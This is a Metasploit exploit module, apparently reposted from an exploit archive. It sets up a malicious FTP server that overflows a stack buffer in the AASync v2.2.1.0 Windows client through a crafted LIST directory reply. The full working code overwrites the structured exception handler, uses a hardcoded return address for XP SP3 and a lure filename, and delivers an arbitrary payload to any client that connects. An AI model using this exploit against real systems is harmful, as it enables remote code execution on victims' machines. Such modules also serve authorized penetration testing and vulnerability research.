AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)

`##  
# $Id: aasync_list_reply.rb 10660 2010-10-12 18:39:21Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::FtpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)',  
'Description' => %q{  
This module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when  
processing the response on a LIST command. During the overflow, a structured exception  
handler record gets overwritten.  
},  
'Author' =>  
[  
'corelanc0d3r', #found bug and wrote the exploit  
],  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 10660 $",  
'References' =>  
[  
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'XP SP3 Universal', { 'Offset' => 6340,'Ret' => 0x61181674 } ], # ppr [pthreadgc2.dll]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 12 2010',  
'DefaultTarget' => 0))  
  
end  
  
#---------------------------------------------------------------------------------  
  
def setup  
super  
end  
  
def on_client_unknown_command(c,cmd,arg)  
c.put("200 OK\r\n")  
end  
  
def on_client_command_list(c,arg)  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
print_status(" - Data connection set up")  
code = 150  
c.put("#{code} Here comes the directory listing.\r\n")  
code = 226  
c.put("#{code} Directory send ok.\r\n")  
offset_to_nseh = target['Offset']  
filename = "admin passwords.txt"  
padding = " " * (offset_to_nseh-filename.length)  
nseh = "\xeb\x0c\x41\x41"  
seh = [target.ret].pack('V') #\x74\x16 = jump  
nops = "A" * 30  
junk2 = "A" * 5000  
#dual offsets to seh  
buffer = filename + padding + nseh + seh + seh + nops + payload.encoded + junk2  
print_status(" - Sending directory list via data connection")  
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"  
conn.put(dirlist)  
conn.close  
print_status(" - Payload sent")  
return  
end  
  
end  
  
`